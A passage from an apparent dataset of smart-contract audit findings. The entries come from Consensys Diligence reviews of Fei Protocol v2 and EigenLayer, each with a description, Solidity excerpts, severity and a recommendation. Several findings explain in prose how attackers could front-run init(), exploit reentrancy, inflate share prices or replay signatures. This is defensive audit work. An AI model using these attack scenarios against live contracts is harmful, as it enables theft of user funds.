that the Fei transfers to/from the contract and the deposit/withdraw calls are happening in a single transaction. These FEI should be minted, burnt, or re-used as the protocol-controlled FEI in the same transaction. Another option would be to consider all the FEI balance in the contract as the protocol-controlled FEI. If the intention is to have all these FEI collateralized, the other solution is needed: make sure that resistantBalanceAndFei always returns resistantFei equals zero. ", "labels": ["Consensys", "Medium"], "html_url": "https://consensys.io/diligence/audits/2021/09/fei-protocol-v2-phase-1/"}, {"title": "4.5 BalancerLBPSwapper - init() can be front-run to potentially steal tokens ", "body": " Description The deployment process for BalancerLBPSwapper appears to be the following: deploy BalancerLBPSwapper. run ILiquidityBootstrappingPoolFactory.create() proving the newly deployed swapper address as the owner of the pool. initialize BalancerLBPSwapper.init() with the address of the newly created pool. This process may be split across multiple transactions as in the v2Phase1.js deployment scenario. Between step (1) and (3) there is a window of opportunity for someone to maliciously initialize contract. This should be easily detectable because calling init() twice should revert the second transaction. If this is not caught in the deployment script this may have more severe security implications. Otherwise, this window can be used to grief the deployment initializing it before the original initializer does forcing them to redeploy the contract or to steal any tokenSpent/tokenReceived that are owned by the contract at this time. Note: It is assumed that the contract will not own a lot of tokens right after deployment rendering the scenario of stealing tokens more unlikely. However, that highly depends on the deployment script for the contract system. Examples code/contracts/pcv/balancer/BalancerLBPSwapper.sol:L107-L117 function init(IWeightedPool _pool) external { require(address(pool) == address(0), \"BalancerLBPSwapper: initialized\"); pool = _pool; IVault _vault = _pool.getVault(); vault = _vault; // Check ownership require(_pool.getOwner() == address(this), \"BalancerLBPSwapper: contract not pool owner\"); code/contracts/pcv/balancer/BalancerLBPSwapper.sol:L159-L160 IERC20(tokenSpent).approve(address(_vault), type(uint256).max); IERC20(tokenReceived).approve(address(_vault), type(uint256).max); Recommendation protect BalancerLBPSwapper.init() and only allow a trusted entity (e.g. the initial deployer) to call this method. ", "labels": ["Consensys", "Medium"], "html_url": "https://consensys.io/diligence/audits/2021/09/fei-protocol-v2-phase-1/"}, {"title": "4.6 PCVEquityMinter and BalancerLBPSwapper - desynchronisation race ", "body": " Description There is nothing that prevents other actors from calling BalancerLBPSwapper.swap() afterTime but right before PCVEquityMinter.mint() would as long as the minAmount required for the call to pass is deposited to BalancerLBPSwapper. instead of taking the newly minted FEI from PCVEquityMinter, existing FEI from the malicious user will be used with the pool. (instead of inflating the token the malicious actor basically pays for it) the Timed modifiers of both contracts will be out of sync with BalancerLBPSwapper.swap() being reset (and failing until it becomes available again) and PCVEquityMinter.mint() still being available. Furthermore, keeper-scripts (or actors that want to get the incentive) might continue to attempt to mint() while the call will ultimately fail in .swap() due to the resynchronization of timed (unless they simulate the calls first). Note: There are not a lot of incentives to actually exploit this other than preventing protocol inflation (mint) and potentially griefing users. A malicious user will lose out on the incentivized call and has to ensure that the minAmount required for .swap() to work is available. It is, however, in the best interest of security to defuse the unpredictable racy character of the contract interaction. Examples code/contracts/token/PCVEquityMinter.sol:L91-L93 function _afterMint() internal override { IPCVSwapper(target).swap(); code/contracts/pcv/balancer/BalancerLBPSwapper.sol:L172-L181 function swap() external override afterTime whenNotPaused { uint256 spentReserves, uint256 receivedReserves, uint256 lastChangeBlock ) = getReserves(); // Ensures no actor can change the pool contents earlier in the block require(lastChangeBlock < block.number, \"BalancerLBPSwapper: pool changed this block\"); Recommendation If BalancerLBPSwapper.swap() is only to be called within the flows of action from a PCVEquityMinter.mint() it is suggested to authenticate the call and only let PCVEquityMinter call .swap() ", "labels": ["Consensys", "Medium"], "html_url": "https://consensys.io/diligence/audits/2021/09/fei-protocol-v2-phase-1/"}, {"title": "4.7 CollateralizationOracleWrapper - the deviation threshold check in update() always returns false ", "body": " Description A call to update() returns a boolean flag indicating whether the update was performed on outdated data. This flag is being checked in updateIfOutdated() which is typically called by an incentivized keeper function. There may currently be no incentive (e.g. from the keeper side) to call update() if the values are not outdated but they deviated too much from the target. However, anyone can force an update by calling the non-incentivized public update() method instead. Examples code/contracts/oracle/CollateralizationOracleWrapper.sol:L156-L177 require(_validityStatus, \"CollateralizationOracleWrapper: CollateralizationOracle is invalid\"); // set cache variables cachedProtocolControlledValue = _protocolControlledValue; cachedUserCirculatingFei = _userCirculatingFei; cachedProtocolEquity = _protocolEquity; // reset time _initTimed(); // emit event emit CachedValueUpdate( msg.sender, cachedProtocolControlledValue, cachedUserCirculatingFei, cachedProtocolEquity ); return outdated || _isExceededDeviationThreshold(cachedProtocolControlledValue, _protocolControlledValue) || _isExceededDeviationThreshold(cachedUserCirculatingFei, _userCirculatingFei); Recommendation Add unit tests to check for all three return conditions (timed, deviationA, deviationB) Make sure to compare the current to the stored value before updating the cached values when calling _isExceededDeviationThreshold. ", "labels": ["Consensys", "Medium"], "html_url": "https://consensys.io/diligence/audits/2021/09/fei-protocol-v2-phase-1/"}, {"title": "4.8 ChainlinkOracleWrapper - latestRoundData might return stale results ", "body": " Description The oracle wrapper calls out to a chainlink oracle receiving the latestRoundData(). It then checks freshness by verifying that the answer is indeed for the last known round. The returned updatedAt timestamp is not checked. If there is a problem with chainlink starting a new round and finding consensus on the new value for the oracle (e.g. chainlink nodes abandon the oracle, chain congestion, vulnerability/attacks on the chainlink system) consumers of this contract may continue using outdated stale data (if oracles are unable to submit no new round is started) Examples code/contracts/oracle/ChainlinkOracleWrapper.sol:L49-L58 /// @notice read the oracle price /// @return oracle price /// @return true if price is valid function read() external view override returns (Decimal.D256 memory, bool) { (uint80 roundId, int256 price,,, uint80 answeredInRound) = chainlinkOracle.latestRoundData(); bool valid = !paused() && price > 0 && answeredInRound == roundId; Decimal.D256 memory value = Decimal.from(uint256(price)).div(oracleDecimalsNormalizer); return (value, valid); code/contracts/oracle/ChainlinkOracleWrapper.sol:L42-L47 /// @notice determine if read value is stale /// @return true if read value is stale function isOutdated() external view override returns (bool) { (uint80 roundId,,,, uint80 answeredInRound) = chainlinkOracle.latestRoundData(); return answeredInRound != roundId; Recommendation Consider checking the oracle responses updatedAt value after calling out to chainlinkOracle.latestRoundData() verifying that the result is within an allowed margin of freshness. ", "labels": ["Consensys", "Medium"], "html_url": "https://consensys.io/diligence/audits/2021/09/fei-protocol-v2-phase-1/"}, {"title": "4.9 CollateralizationOracle - missing events and incomplete event information ", "body": " Description The CollateralizationOracle.setDepositExclusion function is used to exclude and re-include deposits from collateralization calculations. Unlike the other state-changing functions in this contract, it doesn t emit an event to inform about the exclusion or re-inclusion. code/contracts/oracle/CollateralizationOracle.sol:L111-L113 function setDepositExclusion(address _deposit, bool _excluded) external onlyGuardianOrGovernor { excludedDeposits[_deposit] = _excluded; The DepositAdd event emits not only the deposit address but also the deposit s token. Despite the symmetry, the DepositRemove event does not emit the token. code/contracts/oracle/CollateralizationOracle.sol:L25-L26 event DepositAdd(address from, address indexed deposit, address indexed token); event DepositRemove(address from, address indexed deposit); Recommendation setDepositInclusion should emit an event that informs about the deposit and whether it was included or excluded. For symmetry reasons and because it is indeed useful information, the DepositRemove event could include the deposit s token. ", "labels": ["Consensys", "Minor"], "html_url": "https://consensys.io/diligence/audits/2021/09/fei-protocol-v2-phase-1/"}, {"title": "4.10 RateLimited - Contract starts with a full buffer at deployment ", "body": " Description A contract that inherits from RateLimited starts out with a full buffer when it is deployed. code/contracts/utils/RateLimited.sol:L35 _bufferStored = _bufferCap; That means the full bufferCap is immediately available after deployment; it doesn t have to be built up over time. This behavior might be unexpected. Recommendation We recommend starting with an empty buffer, or if there are valid reasons for the current implementation at least document it clearly. ", "labels": ["Consensys", "Minor"], "html_url": "https://consensys.io/diligence/audits/2021/09/fei-protocol-v2-phase-1/"}, {"title": "4.11 StableSwapOperatorV1 - the contract relies on the 1$ price of every token in 3pool ", "body": " Description To evaluate the price of the 3pool lp token, the built-in get_virtual_price function is used. This function is supposed to be a manipulation-resistant pricing function that works under the assumption that all the tokens in the pool are worth 1$. If one of the tokens is broken and is priced less, the price is harder to calculate. For example, Chainlink uses the following function to calculate at least the lower boundary of the lp price: https://blog.chain.link/using-chainlink-oracles-to-securely-utilize-curve-lp-pools/ The withdrawal and the controlled value calculation are always made in DAI instead of other stablecoins of the 3pool. So if DAI gets compromised but other tokens aren t, there is no way to switch to them. ", "labels": ["Consensys", "Minor"], "html_url": "https://consensys.io/diligence/audits/2021/09/fei-protocol-v2-phase-1/"}, {"title": "4.12 BalancerLBPSwapper - tokenSpent and tokenReceived should be immutable ", "body": " Description Acc. to the inline comment both tokenSpent and tokenReceived should be immutable but they are not declared as such. Examples code/contracts/pcv/balancer/BalancerLBPSwapper.sol:L92-L94 // tokenSpent and tokenReceived are immutable tokenSpent = _tokenSpent; tokenReceived = _tokenReceived; code/contracts/pcv/balancer/BalancerLBPSwapper.sol:L40-L44 /// @notice the token to be auctioned address public override tokenSpent; /// @notice the token to buy address public override tokenReceived; Recommendation Declare both variable immutable. ", "labels": ["Consensys", "Minor"], "html_url": "https://consensys.io/diligence/audits/2021/09/fei-protocol-v2-phase-1/"}, {"title": "4.13 CollateralizationOracle - potentially unsafe casts ", "body": " Description protocolControlledValue is the cumulative USD token value of all tokens in the PCV. The USD value is determined using external chainlink oracles. To mitigate some effects of attacks on chainlink to propagate to this protocol it is recommended to implement a defensive approach to handling values derived from the external source. Arithm. overflows are checked by the compiler (0.8.4), however, it does not guarantee safe casting from unsigned to signed integer. The scenario of this happening might be rather unlikely, however, there is no guarantee that the external price-feed is not taken over by malicious actors and this is when every line of defense counts. //solidity 0.8.7 \u00bb int(uint(2**255)) 57896044618658097711785492504343953926634992332820282019728792003956564819968 \u00bb int(uint(2**255-2)) 57896044618658097711785492504343953926634992332820282019728792003956564819966 Examples code/contracts/oracle/CollateralizationOracle.sol:L327-L327 protocolEquity = int256(protocolControlledValue) - int256(userCirculatingFei); code/contracts/oracle/CollateralizationOracle.sol:L322-L322 protocolControlledValue += _oraclePrice.mul(_totalTokenBalance).asUint256(); Recommendation Perform overflow checked SafeCast as another line of defense against oracle manipulation. ", "labels": ["Consensys", "Minor"], "html_url": "https://consensys.io/diligence/audits/2021/09/fei-protocol-v2-phase-1/"}, {"title": "4.14 FeiTimedMinter - constructor does not enforce the same boundaries as setter for frequency ", "body": " Description The setter method for frequency enforced upper and lower bounds while the constructor does not. Users cannot trust that the frequency is actually set to be within bounds on deployment. Examples code/contracts/token/FeiTimedMinter.sol:L32-L48 constructor( address _core, address _target, uint256 _incentive, uint256 _frequency, uint256 _initialMintAmount CoreRef(_core) Timed(_frequency) Incentivized(_incentive) RateLimitedMinter((_initialMintAmount + _incentive) / _frequency, (_initialMintAmount + _incentive), true) _initTimed(); _setTarget(_target); _setMintAmount(_initialMintAmount); code/contracts/token/FeiTimedMinter.sol:L82-L87 function setFrequency(uint256 newFrequency) external override onlyGovernorOrAdmin { require(newFrequency >= MIN_MINT_FREQUENCY, \"FeiTimedMinter: frequency low\"); require(newFrequency <= MAX_MINT_FREQUENCY, \"FeiTimedMinter: frequency high\"); _setDuration(newFrequency); Recommendation Perform the same checks on frequency in the constructor as in the setFrequency method. This contract is also inherited by a range of contracts that might specify different boundaries to what is hardcoded in the FeiTimedMinter. A way to enforce bounds-checks could be to allow overriding the setter method and using the setter in the constructor as well ensuring that bounds are also checked on deployment. ", "labels": ["Consensys", "Minor"], "html_url": "https://consensys.io/diligence/audits/2021/09/fei-protocol-v2-phase-1/"}, {"title": "4.15 CollateralizationOracle - swapDeposit should call internal functions to remove/add deposits ", "body": " Description Examples code/contracts/oracle/CollateralizationOracle.sol:L191-L198 /// @notice Swap a PCVDeposit with a new one, for instance when a new version /// of a deposit (holding the same token) is deployed. /// @param _oldDeposit : the PCVDeposit to remove from the list. /// @param _newDeposit : the PCVDeposit to add to the list. function swapDeposit(address _oldDeposit, address _newDeposit) external onlyGovernor { removeDeposit(_oldDeposit); addDeposit(_newDeposit); Recommendation Call the internal functions instead. addDeposit s and removeDeposit s visibility can then be changed from public to external. ", "labels": ["Consensys", "Minor"], "html_url": "https://consensys.io/diligence/audits/2021/09/fei-protocol-v2-phase-1/"}, {"title": "4.16 CollateralizationOracle - misleading comments ", "body": " Description According to an inline comment in isOvercollateralized, the validity status of pcvStats is ignored, while it is actually being checked. Similarly, a comment in pcvStats mentions that the returned protocolEquity is 0 if there is less PCV than circulating FEI, while in reality, pcvStats always returns the difference between the former and the latter, even if it is negative. Examples code/contracts/oracle/CollateralizationOracle.sol:L332-L339 /// Controlled Value) than the circulating (user-owned) FEI, i.e. /// a positive Protocol Equity. /// Note: the validity status is ignored in this function. function isOvercollateralized() external override view whenNotPaused returns (bool) { (,, int256 _protocolEquity, bool _valid) = pcvStats(); require(_valid, \"CollateralizationOracle: reading is invalid\"); return _protocolEquity > 0; code/contracts/oracle/CollateralizationOracle.sol:L283-L284 /// @return protocolEquity : the difference between PCV and user circulating FEI. /// If there are more circulating FEI than $ in the PCV, equity is 0. code/contracts/oracle/CollateralizationOracle.sol:L327 protocolEquity = int256(protocolControlledValue) - int256(userCirculatingFei); Recommendation Revise the comments. 5 Recommendations ", "labels": ["Consensys", "Minor"], "html_url": "https://consensys.io/diligence/audits/2021/09/fei-protocol-v2-phase-1/"}, {"title": "5.1 Update Natspec", "body": " Examples token is not in natspec code/contracts/pcv/utils/ERC20Splitter.sol:L6-L28 /// @notice a contract to split token held to multiple locations contract ERC20Splitter is PCVSplitter { /// @notice token to split IERC20 public token; /** @notice constructor for ERC20Splitter @param _core the Core address to reference @param _pcvDeposits the locations to send tokens @param _ratios the relative ratios of how much tokens to send each location, in basis points / constructor( address _core, IERC20 _token, address[] memory _pcvDeposits, uint256[] memory _ratios CoreRef(_core) PCVSplitter(_pcvDeposits, _ratios) token = _token; ", "labels": ["Consensys"], "html_url": "https://consensys.io/diligence/audits/2021/09/fei-protocol-v2-phase-1/"}, {"title": "5.2 TribeReserveStabilizer - different minting procedures", "body": " Description The TRIBE token doesn t have a burn functionality. TRIBE that is supposed to be taken out of circulation is sent to the TribeReserveStabilizer contract, and when that contract has to mint new TRIBE in exchange for FEI, it will first use up the currently held TRIBE balance before actually minting new tokens. code/contracts/stabilizer/TribeReserveStabilizer.sol:L117-L133 // Transfer held TRIBE first, then mint to cover remainder function _transfer(address to, uint256 amount) internal override { _depleteBuffer(amount); uint256 _tribeBalance = balance(); uint256 mintAmount = amount; if(_tribeBalance != 0) { uint256 transferAmount = Math.min(_tribeBalance, amount); _withdrawERC20(address(token), to, transferAmount); mintAmount = mintAmount - transferAmount; assert(mintAmount + transferAmount == amount); if (mintAmount != 0) { _mint(to, mintAmount); The contract also has a mint function that allows the Governor to mint new TRIBE. Unlike the exchangeFei function described above, this function does not first utilize TRIBE held in the contract but directly instructs the token contract to mint the entire amount. code/contracts/stabilizer/TribeReserveStabilizer.sol:L102-L107 /// @notice mints TRIBE to the target address /// @param to the address to send TRIBE to /// @param amount the amount of TRIBE to send function mint(address to, uint256 amount) external override onlyGovernor { _mint(to, amount); code/contracts/stabilizer/TribeReserveStabilizer.sol:L135-L138 function _mint(address to, uint256 amount) internal { ITribe _tribe = ITribe(address(token)); _tribe.mint(to, amount); Recommendation It would make sense and be more consistent with exchangeFei if the mint function first used TRIBE held in the contract before actually minting new tokens. ", "labels": ["Consensys"], "html_url": "https://consensys.io/diligence/audits/2021/09/fei-protocol-v2-phase-1/"}, {"title": "4.1 Potential Reentrancy Into Strategies ", "body": " Resolution EigenLabs Quick Summary: The StrategyBase contract may be vulnerable to a token contract that employs some sort of callback to a function like sharesToUnderlyingView, before the balance change is reflected in the contract. The shares have been decremented, which would lead to an incorrect return value from sharesToUnderlyingView. EigenLabs Response: As noted in the report, this is not an issue if the token contract being used does not allow for reentrancy. For now, we will make it clear both in the contracts as well as the docs that our implementation of StrategyBase.sol does not support tokens with reentrancy. Because of the way our system is designed, anyone can choose to design a strategy with this in mind! Description Nevertheless, other functions could be reentered, for example, sharesToUnderlyingView and underlyingToSharesView, as well as their (supposedly) non-view counterparts. Let s look at the withdraw function in StrategyBase. First, the amountShares shares are burnt, and at the end of the function, the equivalent amount of token is transferred to the depositor: src/contracts/strategies/StrategyBase.sol:L108-L143 function withdraw(address depositor, IERC20 token, uint256 amountShares) external virtual override onlyWhenNotPaused(PAUSED_WITHDRAWALS) onlyStrategyManager require(token == underlyingToken, \"StrategyBase.withdraw: Can only withdraw the strategy token\"); // copy `totalShares` value to memory, prior to any decrease uint256 priorTotalShares = totalShares; require( amountShares <= priorTotalShares, \"StrategyBase.withdraw: amountShares must be less than or equal to totalShares\" ); // Calculate the value that `totalShares` will decrease to as a result of the withdrawal uint256 updatedTotalShares = priorTotalShares - amountShares; // check to avoid edge case where share rate can be massively inflated as a 'griefing' sort of attack require(updatedTotalShares >= MIN_NONZERO_TOTAL_SHARES || updatedTotalShares == 0, \"StrategyBase.withdraw: updated totalShares amount would be nonzero but below MIN_NONZERO_TOTAL_SHARES\"); // Actually decrease the `totalShares` value totalShares = updatedTotalShares; /** @notice calculation of amountToSend *mirrors* `sharesToUnderlying(amountShares)`, but is different since the `totalShares` has already been decremented. Specifically, notice how we use `priorTotalShares` here instead of `totalShares`. / uint256 amountToSend; if (priorTotalShares == amountShares) { amountToSend = _tokenBalance(); } else { amountToSend = (_tokenBalance() * amountShares) / priorTotalShares; underlyingToken.safeTransfer(depositor, amountToSend); If we assume that the token contract has a callback to the recipient of the transfer before the actual balance changes take place, then the recipient could reenter the strategy contract, for example, in sharesToUnderlyingView: src/contracts/strategies/StrategyBase.sol:L159-L165 function sharesToUnderlyingView(uint256 amountShares) public view virtual override returns (uint256) { if (totalShares == 0) { return amountShares; } else { return (_tokenBalance() * amountShares) / totalShares; The crucial point is: If the callback is executed before the actual balance change, then sharesToUnderlyingView will report a bad result because the shares have already been burnt but the token balance has not been updated yet. For deposits, the token transfer to the strategy happens first, and the shares are minted after that: src/contracts/core/StrategyManager.sol:L643-L652 function _depositIntoStrategy(address depositor, IStrategy strategy, IERC20 token, uint256 amount) internal onlyStrategiesWhitelistedForDeposit(strategy) returns (uint256 shares) // transfer tokens from the sender to the strategy token.safeTransferFrom(msg.sender, address(strategy), amount); // deposit the assets into the specified strategy and get the equivalent amount of shares in that strategy shares = strategy.deposit(token, amount); src/contracts/strategies/StrategyBase.sol:L69-L99 function deposit(IERC20 token, uint256 amount) external virtual override onlyWhenNotPaused(PAUSED_DEPOSITS) onlyStrategyManager returns (uint256 newShares) require(token == underlyingToken, \"StrategyBase.deposit: Can only deposit underlyingToken\"); /** @notice calculation of newShares *mirrors* `underlyingToShares(amount)`, but is different since the balance of `underlyingToken` has already been increased due to the `strategyManager` transferring tokens to this strategy prior to calling this function / uint256 priorTokenBalance = _tokenBalance() - amount; if (priorTokenBalance == 0 || totalShares == 0) { newShares = amount; } else { newShares = (amount * totalShares) / priorTokenBalance; // checks to ensure correctness / avoid edge case where share rate can be massively inflated as a 'griefing' sort of attack require(newShares != 0, \"StrategyBase.deposit: newShares cannot be zero\"); uint256 updatedTotalShares = totalShares + newShares; require(updatedTotalShares >= MIN_NONZERO_TOTAL_SHARES, \"StrategyBase.deposit: updated totalShares amount would be nonzero but below MIN_NONZERO_TOTAL_SHARES\"); // update total share amount totalShares = updatedTotalShares; return newShares; That means if there is a callback in the token s transferFrom function and it is executed after the balance change, a reentering call to sharesToUnderlyingView (for example) will again return a wrong result because shares and token balances are not in sync. In addition to the reversed order of token transfer and shares update, there s another vital difference between withdraw and deposit: For withdrawals, the call to the token contract originates in the strategy, while for deposits, it is the strategy manager that initiates the call to the token contract (before calling into the strategy). That s a technicality that has consequences for reentrancy protection: Note that for withdrawals, it is the strategy contract that is reentered, while for deposits, there is not a single contract that is reentered; instead, it is the contract system that is in an inconsistent state when the reentrancy happens. Hence, reentrancy protection on the level of individual contracts is not sufficient. src/contracts/core/StrategyManager.sol:L244-L286 function depositIntoStrategyWithSignature( IStrategy strategy, IERC20 token, uint256 amount, address staker, uint256 expiry, bytes memory signature external onlyWhenNotPaused(PAUSED_DEPOSITS) onlyNotFrozen(staker) nonReentrant returns (uint256 shares) require( expiry >= block.timestamp, \"StrategyManager.depositIntoStrategyWithSignature: signature expired\" ); // calculate struct hash, then increment `staker`'s nonce uint256 nonce = nonces[staker]; bytes32 structHash = keccak256(abi.encode(DEPOSIT_TYPEHASH, strategy, token, amount, nonce, expiry)); unchecked { nonces[staker] = nonce + 1; bytes32 digestHash = keccak256(abi.encodePacked(\"\\x19\\x01\", DOMAIN_SEPARATOR, structHash)); /** check validity of signature: 1) if `staker` is an EOA, then `signature` must be a valid ECSDA signature from `staker`, indicating their intention for this action 2) if `staker` is a contract, then `signature` must will be checked according to EIP-1271 / if (Address.isContract(staker)) { require(IERC1271(staker).isValidSignature(digestHash, signature) == ERC1271_MAGICVALUE, \"StrategyManager.depositIntoStrategyWithSignature: ERC1271 signature verification failed\"); } else { require(ECDSA.recover(digestHash, signature) == staker, \"StrategyManager.depositIntoStrategyWithSignature: signature not from staker\"); shares = _depositIntoStrategy(staker, strategy, token, amount); Hence, querying the staker s nonce in reentrancy would still give a result based on an incomplete state change. It is, for example, conceivable that the staker still has zero shares, and yet their nonce is already 1. This particular situation is most likely not an issue, but the example shows that reentrancy can be subtle. Recommendation This is fine if the token doesn t allow reentrancy in the first place. As discussed above, among the tokens that do allow reentrancy, some variants of when reentrancy can happen in relation to state changes in the token seem more dangerous than others, but we have also argued that this kind of reasoning can be dangerous and error-prone. Hence, we recommend employing comprehensive and defensive reentrancy protection based on reentrancy guards such as OpenZeppelin s ReentrancyGuardUpgradeable, which is already used in the StrategyManager. Unfortunately, securing a multi-contract system against reentrancy can be challenging, but we hope the preceding discussion and the following pointers will prove helpful: External functions in strategies that should only be callable by the strategy manager (such as deposit and withdraw) should have the onlyStrategyManager modifier. This is already the case in the current codebase and is listed here only for completeness. External functions in strategies for which item 1 doesn t apply (such as sharesToUnderlying and underlyingToShares) should query the strategy manager s reentrancy lock and revert if it is set. In principle, the restrictions above also apply to public functions, but if a public function is also used internally, checks against reentrancy can cause problems (if used in an internal context) or at least be redundant. In the context of reentrancy protection, it is often easier to split public functions into an internal and an external one. If view functions are supposed to give reliable results (either internally which is typically the case or for other contracts), they have to be protected too. The previous item also applies to the StrategyManager: view functions that have to provide correct results should query the reentrancy lock and revert if it is set. Solidity automatically generates getters for public state variables. Again, if these (external view) functions must deliver correct results, the same measures must be taken as for explicit view functions. In practice, the state variable has to become internal or private, and the getter function must be hand-written. The StrategyBase contract provides some basic functionality. Concrete strategy implementations can inherit from this contract, meaning that some functions may be overridden (and might or might not call the overridden version via super), and new functions might be added. While the guidelines above should be helpful, derived contracts must be reviewed and assessed separately on a case-by-case basis. As mentioned before, reentrancy protection can be challenging, especially in a multi-contract system. ", "labels": ["Consensys", "Medium"], "html_url": "https://consensys.io/diligence/audits/2023/03/eigenlabs-eigenlayer/"}, {"title": "4.2 StrategyBase Inflation Attack Prevention Can Lead to Stuck Funds ", "body": " Resolution EigenLabs Quick Summary: The StrategyBase contract sets a minimum initial deposit amount of 1e9. This is to mitigate ERC-4626 related inflation attacks, where an attacker can front-run a deposit, inflating the exchange rate between tokens and shares. A consequence of that protection is that any amount less than 1e9 is not withdrawable. EigenLabs Response: We recognize that this may be notable for tokens such as USDC, where the smallest unit of which is 1e-6. For now, we will make it clear both in the contracts as well as the docs that our implementation of StrategyBase.sol makes this assumption about the tokens being used in the strategy. Description As a defense against what has come to be known as inflation or donation attack in the context of ERC-4626, the StrategyBase contract from which concrete strategy implementations are supposed to inherit enforces that the amount of shares in existence for a particular strategy is always either 0 or at least a certain minimum amount that is set to 10^9. This mitigates inflation attacks, which require a small total supply of shares to be effective. src/contracts/strategies/StrategyBase.sol:L92-L95 uint256 updatedTotalShares = totalShares + newShares; require(updatedTotalShares >= MIN_NONZERO_TOTAL_SHARES, \"StrategyBase.deposit: updated totalShares amount would be nonzero but below MIN_NONZERO_TOTAL_SHARES\"); src/contracts/strategies/StrategyBase.sol:L123-L127 // Calculate the value that `totalShares` will decrease to as a result of the withdrawal uint256 updatedTotalShares = priorTotalShares - amountShares; // check to avoid edge case where share rate can be massively inflated as a 'griefing' sort of attack require(updatedTotalShares >= MIN_NONZERO_TOTAL_SHARES || updatedTotalShares == 0, \"StrategyBase.withdraw: updated totalShares amount would be nonzero but below MIN_NONZERO_TOTAL_SHARES\"); This particular approach has the downside that, in the worst case, a user may be unable to withdraw the underlying asset for up to 10^9 - 1 shares. While the extreme circumstances under which this can happen might be unlikely to occur in a realistic setting and, in many cases, the value of 10^9 - 1 shares may be negligible, this is not ideal. Recommendation It isn t easy to give a good general recommendation. None of the suggested mitigations are without a downside, and what s the best choice may also depend on the specific situation. We do, however, feel that alternative approaches that can t lead to stuck funds might be worth considering, especially for a default implementation. One option is internal accounting, i.e., the strategy keeps track of the number of underlying tokens it owns. It uses this number for conversion rate calculation instead of its balance in the token contract. This avoids the donation attack because sending tokens directly to the strategy will not affect the conversion rate. Moreover, this technique helps prevent reentrancy issues when the EigenLayer state is out of sync with the token contract s state. The downside is higher gas costs and that donating by just sending tokens to the contract is impossible; more specifically, if it happens accidentally, the funds are lost unless there s some special mechanism to recover them. An alternative approach with virtual shares and assets is presented here, and the document lists pointers to more discussions and proposed solutions. ", "labels": ["Consensys", "Minor"], "html_url": "https://consensys.io/diligence/audits/2023/03/eigenlabs-eigenlayer/"}, {"title": "4.3 StrategyWrapper Functions Shouldn t Be virtual (Out of Scope) ", "body": " Resolution EigenLabs Quick Summary: The documentation assumes that StrategyWrapper.sol shouldn t be inheritable, and yet its functions are marked virtual . It should be noted that this contract was not audited beyond this issue which was noticed accidentally. EigenLabs Response: This fix was acknowledged and fixed in the following commit: 053ee9d. Description The StrategyWrapper contract is a straightforward strategy implementation and as its NatSpec documentation explicitly states is not designed to be inherited from: src/contracts/strategies/StrategyWrapper.sol:L8-L17 /** @title Extremely simple implementation of `IStrategy` interface. @author Layr Labs, Inc. @notice Simple, basic, \"do-nothing\" Strategy that holds a single underlying token and returns it on withdrawals. Assumes shares are always 1-to-1 with the underlyingToken. @dev Unlike `StrategyBase`, this contract is *not* designed to be inherited from. @dev This contract is expressly *not* intended for use with 'fee-on-transfer'-type tokens. Setting the `underlyingToken` to be a fee-on-transfer token may result in improper accounting. / contract StrategyWrapper is IStrategy { However, all functions in this contract are virtual, which only makes sense if inheriting from StrategyWrapper is possible. Recommendation Assuming the NatSpec documentation is correct, and no contract should inherit from StrategyWrapper, remove the virtual keyword from all function definitions. Otherwise, fix the documentation. Remark This contract is out of scope, and this finding is only included because we noticed it accidentally. This does not mean we have reviewed the contract or other out-of-scope files. ", "labels": ["Consensys", "Minor"], "html_url": "https://consensys.io/diligence/audits/2023/03/eigenlabs-eigenlayer/"}, {"title": "4.4 StrategyBase Inheritance-Related Issues ", "body": " Resolution 60141d8. Description src/contracts/interfaces/IStrategy.sol:L39-L45 /** @notice Used to convert an amount of underlying tokens to the equivalent amount of shares in this strategy. @notice In contrast to `underlyingToSharesView`, this function **may** make state modifications @param amountUnderlying is the amount of `underlyingToken` to calculate its conversion into strategy shares @dev Implementation for these functions in particular may vary signifcantly for different strategies / function underlyingToShares(uint256 amountUnderlying) external view returns (uint256); src/contracts/strategies/StrategyBase.sol:L192-L200 /** @notice Used to convert an amount of underlying tokens to the equivalent amount of shares in this strategy. @notice In contrast to `underlyingToSharesView`, this function **may** make state modifications @param amountUnderlying is the amount of `underlyingToken` to calculate its conversion into strategy shares @dev Implementation for these functions in particular may vary signifcantly for different strategies / function underlyingToShares(uint256 amountUnderlying) external view virtual returns (uint256) { return underlyingToSharesView(amountUnderlying); src/contracts/strategies/StrategyBase.sol:L167-L175 /** @notice Used to convert a number of shares to the equivalent amount of underlying tokens for this strategy. @notice In contrast to `sharesToUnderlyingView`, this function **may** make state modifications @param amountShares is the amount of shares to calculate its conversion into the underlying token @dev Implementation for these functions in particular may vary signifcantly for different strategies / function sharesToUnderlying(uint256 amountShares) public view virtual override returns (uint256) { return sharesToUnderlyingView(amountShares); B. The initialize function in the StrategyBase contract is not virtual, which means the name will not be available in derived contracts (unless with different parameter types). It also has the initializer modifier, which is unavailable in concrete strategies inherited from StrategyBase. Recommendation A. If state-changing versions of the conversion functions are needed, the view modifier has to be removed from IStrategy.underlyingToShares, StrategyBase.underlyingToShares, and StrategyBase.sharesToUnderlying. They should be removed entirely from the interface and base contract if they re not needed. ", "labels": ["Consensys", "Minor"], "html_url": "https://consensys.io/diligence/audits/2023/03/eigenlabs-eigenlayer/"}, {"title": "4.5 StrategyManager - Cross-Chain Replay Attacks After Chain Split Due to Hard-Coded DOMAIN_SEPARATOR ", "body": " Resolution EigenLabs Quick Summary: A. For the implementation of EIP-712 signatures, the domain separator is set in the initialization of the contract, which includes the chain ID. In the case of a chain split, this ID is subject to change. Thus the domain separator must be recomputed. B. The domain separator is calculated using bytes(\"EigenLayer\") the EIP-712 spec requires a keccak256 hash, i.e. keccak256(bytes(\"EigenLayer\")). C. The EIP712Domain does not include a version string. EigenLabs Response: A. We have modified our implementation to dynamically check for the chain ID. If we detect a change since initialization, we recompute the domain separator. If not, we use the precomputed value. B. We changed our computation to use keccak256(bytes(\"EigenLayer\")). C. We decided that we would forgo this change for the time being. Changes in A. and B. implemented in this commit: 714dbb6. Description A. The StrategyManager contract allows stakers to deposit into and withdraw from strategies. A staker can either deposit themself or have someone else do it on their behalf, where the latter requires an EIP-712-compliant signature. The EIP-712 domain separator is computed in the initialize function and stored in a state variable for later retrieval: src/contracts/core/StrategyManagerStorage.sol:L23-L24 /// @notice EIP-712 Domain separator bytes32 public DOMAIN_SEPARATOR; src/contracts/core/StrategyManager.sol:L149-L153 function initialize(address initialOwner, address initialStrategyWhitelister, IPauserRegistry _pauserRegistry, uint256 initialPausedStatus, uint256 _withdrawalDelayBlocks) external initializer DOMAIN_SEPARATOR = 